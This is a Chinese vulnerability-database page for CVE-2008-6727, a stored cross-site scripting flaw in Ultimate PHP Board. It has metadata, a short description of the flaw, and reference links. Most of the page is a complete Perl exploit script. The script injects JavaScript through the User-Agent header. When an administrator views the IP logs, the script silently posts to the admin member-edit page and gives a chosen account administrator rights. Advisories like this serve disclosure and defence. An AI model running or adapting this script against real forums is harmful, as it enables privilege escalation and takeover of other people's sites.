Myupb Ultimate PHP Board请求记录HTML注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117166 漏洞类型 跨站脚本
发布时间 2008-12-29 更新时间 2009-04-20
CVE编号 CVE-2008-6727 CNNVD-ID CNNVD-200904-378
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/7607
https://cxsecurity.com/issue/WLB-2009040204
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200904-378
|漏洞详情
UltimatePHPBoard(UPB)是一款由PHP编写的免费开放源代码公告板程序,可使用在Unix和Linux操作系统下。UltimatePHPBoard没有正确地过滤通过HTTPUser-Agent头所传送的输入,远程攻击者可以通过向论坛提交恶意请求注入任意HTML和脚本代码。当在IP地址日志中查看恶意数据的时候,就会在用户浏览器会话中执行注入的代码。
|漏洞EXP
#!/usr/bin/perl -w
# ------------------------------------------------------------------
# Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit
# ------------------------------------------------------------------
# by athos - staker[at]hotmail[dot]it
# download on http://www.myupb.com/
# ------------------------------------------------------------------
# Usage:
# perl xpl.pl host path id email
# perl xpl.pl localhost/upb 21 root@r00x.com
# ------------------------------------------------------------------
# Note: don't add me on msn messenger
#       thanks evilsocket 
#       thanks meh for ajax code
#       my email staker.38@gmail.com
# ------------------------------------------------------------------

use strict;
use IO::Socket;

my ($host,$path,$id,$email) = @ARGV;


if (@ARGV != 4) {
      
      print "\n+--------------------------------------------------------------------+\r".
            "\n| Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit |\r".
            "\n+--------------------------------------------------------------------+\r".
            "\n(user -> admin xpl )by athos - staker[at]hotmail[dot]it\n".
            "\nUsage   + perl $0 [host] [path] [ID] [email]".
            "\nHost    + localhost".
            "\nPath    + forum path /upb)".
            "\nID      + your user ID".
            "\nEmail   + your/any email\n";
      exit;
} 

&exploit();


sub exploit () {

     my $content = undef;
     my $uagent  = &logs;
     my $packet  = undef;
     my $socket  = new IO::Socket::INET(
                                         PeerAddr => $host,
                                         PeerPort => 80,
                                         Proto    => 'tcp',
                                       ) or die $!;
                            
     $packet .= "GET /$path/index.php HTTP/1.1\r\n";
     $packet .= "Host: $host\r\n";
     $packet .= "User-Agent: $uagent\r\n";
     $packet .= "Connection: close\r\n\r\n";
     
     $socket->send($packet);
     
     while (<$socket>) {
        $content .= $_;
     }    
     
     if ($content =~ m/myUPB/i) {
        print "Exploit Done!\n";
        print "You'll become admin when the real admin will visit the logs\n";
        exit;
     }
     else {
        print "Exploit Failed!\n";
        exit;
    }    
}                            


sub logs () {

my $logs = "Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d".
           "<script>var xplurl='http://$host/$path/admin_members.php?a".
           "ction=edit&id=$id&page=10'; var xpldata='a=1&level=3&email".
           "=$email&status&location&website&avatar&msn&yahoo&icq&sig&u_".
           "timezone=0&B1=Submit';function s(s){var h=((window.ActiveXO".
           "bject)?new ActiveXObject('Microsoft.XMLHTTP'):new XMLHttp".
           "Request());h.open('POST', xplurl, true);h.setRequestHeader".
           "('Content-type','application/x-www-form-urlencoded');h.setRe".
           "questHeader('Content-length',xpldata.length);h.setRequestHea".
           "der('Connection','close');h.send(xpldata);}s();</script>";
  
  return $logs;
           
}                     

# milw0rm.com [2008-12-29]
|参考资料

来源:XF
名称:ultimatephpboard-useragent-xss(47607)
链接:http://xforce.iss.net/xforce/xfdb/47607
来源:BID
名称:33029
链接:http://www.securityfocus.com/bid/33029
来源:MILW0RM
名称:7607
链接:http://www.milw0rm.com/exploits/7607
来源:SECUNIA
名称:33329
链接:http://secunia.com/advisories/33329
来源:OSVDB
名称:51011
链接:http://osvdb.org/51011